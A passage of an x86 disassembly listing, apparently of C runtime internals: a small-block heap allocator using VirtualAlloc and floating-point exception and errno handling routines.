esi, [esi] cmp esi, off_43A160 jz short loc_419B8F jmp loc_419AC2 ; --------------------------------------------------------------------------- loc_419B7F: ; CODE XREF: sub_419AB4+54j ; sub_419AB4+A3j mov off_43A160, esi sub [edi], ebx mov [esi+8], edi jmp loc_419CB7 ; --------------------------------------------------------------------------- loc_419B8F: ; CODE XREF: sub_419AB4+C4j mov eax, offset off_438140 mov edi, eax loc_419B96: ; CODE XREF: sub_419AB4+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_419BA2 cmp dword ptr [edi+0Ch], 0 jnz short loc_419BAE loc_419BA2: ; CODE XREF: sub_419AB4+E6j mov edi, [edi] cmp edi, eax jz loc_419C83 jmp short loc_419B96 ; --------------------------------------------------------------------------- loc_419BAE: ; CODE XREF: sub_419AB4+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_419BDD loc_419BCC: ; CODE XREF: sub_419AB4+127j cmp [ebp+var_4], 10h jge short loc_419BDD add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_419BCC loc_419BDD: ; CODE XREF: sub_419AB4+116j ; sub_419AB4+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax call dword_421180 ; VirtualAlloc cmp eax, esi jnz loc_419CB5 push 0 push [ebp+var_8] push esi call sub_415390 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_419C44 lea eax, [esi+4] mov [ebp+var_4], edx loc_419C1A: ; CODE XREF: sub_419AB4+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_419C1A loc_419C44: ; CODE XREF: sub_419AB4+15Ej mov off_43A160, edi lea eax, [edi+2018h] loc_419C50: ; CODE XREF: sub_419AB4+1A8j cmp ecx, eax jnb short loc_419C60 cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_419C5E add ecx, 8 jmp short loc_419C50 ; --------------------------------------------------------------------------- loc_419C5E: ; CODE XREF: sub_419AB4+1A3j cmp ecx, eax loc_419C60: ; CODE XREF: sub_419AB4+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_419CB7 ; --------------------------------------------------------------------------- loc_419C83: ; CODE XREF: sub_419AB4+F2j call sub_4197BC test eax, eax jz short loc_419CB5 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43A160, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_419CB7 ; --------------------------------------------------------------------------- loc_419CB5: ; CODE XREF: sub_419AB4+143j ; sub_419AB4+1D6j xor eax, eax loc_419CB7: ; CODE XREF: sub_419AB4+D6j ; sub_419AB4+1CDj ... pop edi pop esi pop ebx leave retn sub_419AB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CBC proc near ; CODE XREF: sub_419AB4+4Ap ; sub_419AB4+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_419D01 lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_419CF0 add [ecx], edx sub [ecx+4], edx jmp short loc_419CF9 ; --------------------------------------------------------------------------- loc_419CF0: ; CODE XREF: sub_419CBC+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_419CF9: ; CODE XREF: sub_419CBC+32j lea eax, [edi+8] jmp loc_419DCF ; --------------------------------------------------------------------------- loc_419D01: ; CODE XREF: sub_419CBC+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_419D0A mov eax, esi loc_419D0A: ; CODE XREF: sub_419CBC+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_419D54 loc_419D11: ; CODE XREF: sub_419CBC+96j mov bl, [eax] test bl, bl jnz short loc_419D47 push 1 lea ebx, [eax+1] pop esi loc_419D1D: ; CODE XREF: sub_419CBC+68j cmp byte ptr [ebx], 0 jnz short loc_419D26 inc ebx inc esi jmp short loc_419D1D ; --------------------------------------------------------------------------- loc_419D26: ; CODE XREF: sub_419CBC+64j cmp esi, edx jnb short loc_419D78 cmp eax, [ebp+var_4] jnz short loc_419D34 mov [ecx+4], esi jmp short loc_419D40 ; --------------------------------------------------------------------------- loc_419D34: ; CODE XREF: sub_419CBC+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_419DD9 loc_419D40: ; CODE XREF: sub_419CBC+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_419D4C ; --------------------------------------------------------------------------- loc_419D47: ; CODE XREF: sub_419CBC+59j movzx esi, bl add eax, esi loc_419D4C: ; CODE XREF: sub_419CBC+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_419D11 loc_419D54: ; CODE XREF: sub_419CBC+53j lea esi, [ecx+8] loc_419D57: ; CODE XREF: sub_419CBC+EBj ; sub_419CBC+F2j cmp esi, edi jnb short loc_419DD9 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_419DD9 mov al, [esi] test al, al jnz short loc_419DA9 push 1 lea ebx, [esi+1] pop eax loc_419D6F: ; CODE XREF: sub_419CBC+BAj cmp byte ptr [ebx], 0 jnz short loc_419D99 inc ebx inc eax jmp short loc_419D6F ; --------------------------------------------------------------------------- loc_419D78: ; CODE XREF: sub_419CBC+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_419D89 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_419D92 ; --------------------------------------------------------------------------- loc_419D89: ; CODE XREF: sub_419CBC+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_419D92: ; CODE XREF: sub_419CBC+CBj mov [eax], dl add eax, 8 jmp short loc_419DCF ; --------------------------------------------------------------------------- loc_419D99: ; CODE XREF: sub_419CBC+B6j cmp eax, edx jnb short loc_419DB0 sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_419DD9 mov esi, ebx jmp short loc_419D57 ; --------------------------------------------------------------------------- loc_419DA9: ; CODE XREF: sub_419CBC+ABj movzx eax, al add esi, eax jmp short loc_419D57 ; --------------------------------------------------------------------------- loc_419DB0: ; CODE XREF: sub_419CBC+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_419DC1 sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_419DCA ; --------------------------------------------------------------------------- loc_419DC1: ; CODE XREF: sub_419CBC+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_419DCA: ; CODE XREF: sub_419CBC+103j mov [esi], dl lea eax, [esi+8] loc_419DCF: ; CODE XREF: sub_419CBC+40j ; sub_419CBC+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_419DDB ; --------------------------------------------------------------------------- loc_419DD9: ; CODE XREF: sub_419CBC+7Ej ; sub_419CBC+9Dj ... xor eax, eax loc_419DDB: ; CODE XREF: sub_419CBC+11Bj pop edi pop esi pop ebx leave retn sub_419CBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DE0 proc near ; CODE XREF: sub_41737F+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_419E1A mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_419E7A ; --------------------------------------------------------------------------- loc_419E1A: ; CODE XREF: sub_419DE0+26j jnb short loc_419E81 mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_419E81 lea eax, [ecx+edx] loc_419E2F: ; CODE XREF: sub_419DE0+59j cmp eax, esi jnb short loc_419E3D cmp byte ptr [eax], 0 jnz short loc_419E3B inc eax jmp short loc_419E2F ; --------------------------------------------------------------------------- loc_419E3B: ; CODE XREF: sub_419DE0+56j cmp eax, esi loc_419E3D: ; CODE XREF: sub_419DE0+51j jnz short loc_419E81 mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_419E75 cmp esi, eax jbe short loc_419E75 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_419E6C xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_419E67 loc_419E60: ; CODE XREF: sub_419DE0+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_419E60 loc_419E67: ; CODE XREF: sub_419DE0+7Ej mov [ebx+4], eax jmp short loc_419E75 ; --------------------------------------------------------------------------- loc_419E6C: ; CODE XREF: sub_419DE0+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_419E75: ; CODE XREF: sub_419DE0+68j ; sub_419DE0+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_419E7A: ; CODE XREF: sub_419DE0+38j mov [ebp+var_4], 1 loc_419E81: ; CODE XREF: sub_419DE0:loc_419E1Aj ; sub_419DE0+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_419DE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_419E89(int,int,double,int) sub_419E89 proc near ; CODE XREF: sub_415D04+51p ; sub_415E4B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43A8B8, 0 jnz short loc_419EBE push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_41A43E add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_419EBE: ; CODE XREF: sub_419E89+Aj push 0FFFFh mov dword_46B634, 21h push [ebp+arg_C] call sub_41A6B1 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_419E89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419EDC(int,int,double,double,int) sub_419EDC proc near ; CODE XREF: sub_415D04:loc_415DC7p ; sub_415E4B:loc_415F0Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41A227 add esp, 0Ch test eax, eax jnz short loc_419F1A lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_419F74 add esp, 18h loc_419F1A: ; CODE XREF: sub_419EDC+1Aj push [ebp+arg_0] call sub_41A511 cmp dword_43A8B8, 0 pop ecx jnz short loc_419F58 test eax, eax jz short loc_419F58 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_41A43E add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_419F58: ; CODE XREF: sub_419EDC+4Ej ; sub_419EDC+52j push eax call sub_41A4C6 mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_41A6B1 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_419EDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F74 proc near ; CODE XREF: sub_419EDC+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_419FA6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_419FA6: ; CODE XREF: sub_419F74+23j test cl, 2 jz short loc_419FB9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_419FB9: ; CODE XREF: sub_419F74+35j test cl, bl jz short loc_419FCB mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_419FCB: ; CODE XREF: sub_419F74+47j test cl, 4 jz short loc_419FDE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_419FDE: ; CODE XREF: sub_419F74+5Aj test cl, 8 jz short loc_419FF1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_419FF1: ; CODE XREF: sub_419F74+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_41A694 test al, bl jz short loc_41A07A mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_41A07A: ; CODE XREF: sub_419F74+FDj test al, 4 jz short loc_41A085 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_41A085: ; CODE XREF: sub_419F74+108j test al, 8 jz short loc_41A090 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_41A090: ; CODE XREF: sub_419F74+113j test al, 10h jz short loc_41A09A mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_41A09A: ; CODE XREF: sub_419F74+11Ej test al, 20h jz short loc_41A0A4 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_41A0A4: ; CODE XREF: sub_419F74+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_41A0E3 cmp eax, 400h jz short loc_41A0D5 cmp eax, 800h jz short loc_41A0C9 cmp eax, ecx jnz short loc_41A0E9 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41A0E9 ; --------------------------------------------------------------------------- loc_41A0C9: ; CODE XREF: sub_419F74+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_41A0DF ; --------------------------------------------------------------------------- loc_41A0D5: ; CODE XREF: sub_419F74+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_41A0DF: ; CODE XREF: sub_419F74+15Fj mov [eax], ecx jmp short loc_41A0E9 ; --------------------------------------------------------------------------- loc_41A0E3: ; CODE XREF: sub_419F74+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41A0E9: ; CODE XREF: sub_419F74+14Bj ; sub_419F74+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_41A114 cmp eax, 200h jz short loc_41A107 cmp eax, ecx jnz short loc_41A121 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_41A121 ; --------------------------------------------------------------------------- loc_41A107: ; CODE XREF: sub_419F74+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_41A11F ; --------------------------------------------------------------------------- loc_41A114: ; CODE XREF: sub_419F74+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_41A11F: ; CODE XREF: sub_419F74+19Ej mov [eax], ecx loc_41A121: ; CODE XREF: sub_419F74+189j ; sub_419F74+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41A6A2 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call dword_421188 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41A19B and dword ptr [esi], 0FFFFFFFEh loc_41A19B: ; CODE XREF: sub_419F74+222j test byte ptr [eax+8], 8 jz short loc_41A1A4 and dword ptr [esi], 0FFFFFFFBh loc_41A1A4: ; CODE XREF: sub_419F74+22Bj test byte ptr [eax+8], 4 jz short loc_41A1AD and dword ptr [esi], 0FFFFFFF7h loc_41A1AD: ; CODE XREF: sub_419F74+234j test byte ptr [eax+8], 2 jz short loc_41A1B6 and dword ptr [esi], 0FFFFFFEFh loc_41A1B6: ; CODE XREF: sub_419F74+23Dj test [eax+8], bl jz short loc_41A1BE and dword ptr [esi], 0FFFFFFDFh loc_41A1BE: ; CODE XREF: sub_419F74+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41A1F2 dec ecx jz short loc_41A1E6 dec ecx jz short loc_41A1DC dec ecx jnz short loc_41A1F4 or byte ptr [esi+1], 0Ch jmp short loc_41A1F4 ; --------------------------------------------------------------------------- loc_41A1DC: ; CODE XREF: sub_419F74+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41A1EE ; --------------------------------------------------------------------------- loc_41A1E6: ; CODE XREF: sub_419F74+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41A1EE: ; CODE XREF: sub_419F74+270j mov [esi], ecx jmp short loc_41A1F4 ; --------------------------------------------------------------------------- loc_41A1F2: ; CODE XREF: sub_419F74+257j and [esi], edx loc_41A1F4: ; CODE XREF: sub_419F74+260j ; sub_419F74+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41A214 dec ecx jz short loc_41A20B dec ecx jnz short loc_41A21D and [esi], edx jmp short loc_41A21D ; --------------------------------------------------------------------------- loc_41A20B: ; CODE XREF: sub_419F74+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41A21B ; --------------------------------------------------------------------------- loc_41A214: ; CODE XREF: sub_419F74+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41A21B: ; CODE XREF: sub_419F74+29Ej mov [esi], ecx loc_41A21D: ; CODE XREF: sub_419F74+291j ; sub_419F74+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_419F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A227 proc near ; CODE XREF: sub_419EDC+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41A252 test byte ptr [ebp+arg_8], bl jz short loc_41A252 push ebx call sub_41A6D4 pop ecx and edi, 0FFFFFFF7h jmp loc_41A41C ; --------------------------------------------------------------------------- loc_41A252: ; CODE XREF: sub_41A227+15j ; sub_41A227+1Aj test al, 4 jz short loc_41A26C test byte ptr [ebp+arg_8], 4 jz short loc_41A26C push 4 call sub_41A6D4 pop ecx and edi, 0FFFFFFFBh jmp loc_41A41C ; --------------------------------------------------------------------------- loc_41A26C: ; CODE XREF: sub_41A227+2Dj ; sub_41A227+33j test al, bl jz loc_41A346 test byte ptr [ebp+arg_8], 8 jz loc_41A346 push 8 call sub_41A6D4 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41A31E cmp ecx, 400h jz short loc_41A2F6 cmp ecx, 800h jz short loc_41A2CE cmp ecx, eax jnz loc_41A33E mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217E0 fld dbl_43A250 fnstsw ax sahf ja short loc_41A2C6 fchs loc_41A2C6: ; CODE XREF: sub_41A227+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41A33C ; --------------------------------------------------------------------------- loc_41A2CE: ; CODE XREF: sub_41A227+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217E0 fnstsw ax sahf jbe short loc_41A2E6 fld dbl_43A240 jmp short loc_41A2EE ; --------------------------------------------------------------------------- loc_41A2E6: ; CODE XREF: sub_41A227+B5j fld dbl_43A250 fchs loc_41A2EE: ; CODE XREF: sub_41A227+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41A33C ; --------------------------------------------------------------------------- loc_41A2F6: ; CODE XREF: sub_41A227+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217E0 fnstsw ax sahf jbe short loc_41A30E fld dbl_43A250 jmp short loc_41A316 ; --------------------------------------------------------------------------- loc_41A30E: ; CODE XREF: sub_41A227+DDj fld dbl_43A240 fchs loc_41A316: ; CODE XREF: sub_41A227+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41A33C ; --------------------------------------------------------------------------- loc_41A31E: ; CODE XREF: sub_41A227+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_4217E0 fld dbl_43A240 fnstsw ax sahf ja short loc_41A336 fchs loc_41A336: ; CODE XREF: sub_41A227+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41A33C: ; CODE XREF: sub_41A227+A5j ; sub_41A227+CDj ... fstp qword ptr [ecx] loc_41A33E: ; CODE XREF: sub_41A227+81j and edi, 0FFFFFFFEh jmp loc_41A41C ; --------------------------------------------------------------------------- loc_41A346: ; CODE XREF: sub_41A227+47j ; sub_41A227+51j test al, 2 jz loc_41A41C test byte ptr [ebp+arg_8], 10h jz loc_41A41C push esi xor esi, esi test al, 10h jz short loc_41A361 mov esi, ebx loc_41A361: ; CODE XREF: sub_41A227+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_4217E0 fnstsw ax sahf jz loc_41A40A fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41A5D3 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41A3AC fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41A400 ; --------------------------------------------------------------------------- loc_41A3AC: ; CODE XREF: sub_41A227+17Aj fld [ebp+var_C] fcomp dbl_4217E0 fnstsw ax sahf jnb short loc_41A3BE mov edx, ebx jmp short loc_41A3C0 ; --------------------------------------------------------------------------- loc_41A3BE: ; CODE XREF: sub_41A227+191j xor edx, edx loc_41A3C0: ; CODE XREF: sub_41A227+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41A3F4 sub eax, ecx loc_41A3D7: ; CODE XREF: sub_41A227+1CBj test byte ptr [ebp+var_C], bl jz short loc_41A3E2 test esi, esi jnz short loc_41A3E2 mov esi, ebx loc_41A3E2: ; CODE XREF: sub_41A227+1B3j ; sub_41A227+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41A3EE or byte ptr [ebp+var_C+3], 80h loc_41A3EE: ; CODE XREF: sub_41A227+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41A3D7 loc_41A3F4: ; CODE XREF: sub_41A227+1ACj test edx, edx jz short loc_41A400 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41A400: ; CODE XREF: sub_41A227+183j ; sub_41A227+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41A40C ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A227+14Ej mov esi, ebx loc_41A40C: ; CODE XREF: sub_41A227+1E1j test esi, esi pop esi jz short loc_41A419 push 10h call sub_41A6D4 pop ecx loc_41A419: ; CODE XREF: sub_41A227+1E8j and edi, 0FFFFFFFDh loc_41A41C: ; CODE XREF: sub_41A227+26j ; sub_41A227+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41A433 test byte ptr [ebp+arg_8], 20h jz short loc_41A433 push 20h call sub_41A6D4 pop ecx and edi, 0FFFFFFEFh loc_41A433: ; CODE XREF: sub_41A227+1F9j ; sub_41A227+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41A227 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A43E(int,int,int,int,int,int,double,int) sub_41A43E proc near ; CODE XREF: sub_419E89+2Bp ; sub_419EDC+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41A4EC test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41A4A9 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41A6B1 lea eax, [ebp+var_20] push eax call sub_41E0AF add esp, 0Ch test eax, eax jnz short loc_41A4A3 push esi call sub_41A4C6 pop ecx loc_41A4A3: ; CODE XREF: sub_41A43E+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41A4A9: ; CODE XREF: sub_41A43E+14j push 0FFFFh push [ebp+arg_20] call sub_41A6B1 push [ebp+arg_0] call sub_41A4C6 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41A43E endp ; =============== S U B R O U T I N E ======================================= sub_41A4C6 proc near ; CODE XREF: sub_419EDC+7Dp ; sub_41A43E+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41A4E1 jle short locret_41A4EB cmp eax, 3 jg short locret_41A4EB mov dword_46B634, 22h retn ; --------------------------------------------------------------------------- loc_41A4E1: ; CODE XREF: sub_41A4C6+7j mov dword_46B634, 21h locret_41A4EB: ; CODE XREF: sub_41A4C6+9j ; sub_41A4C6+Ej retn sub_41A4C6 endp ; =============== S U B 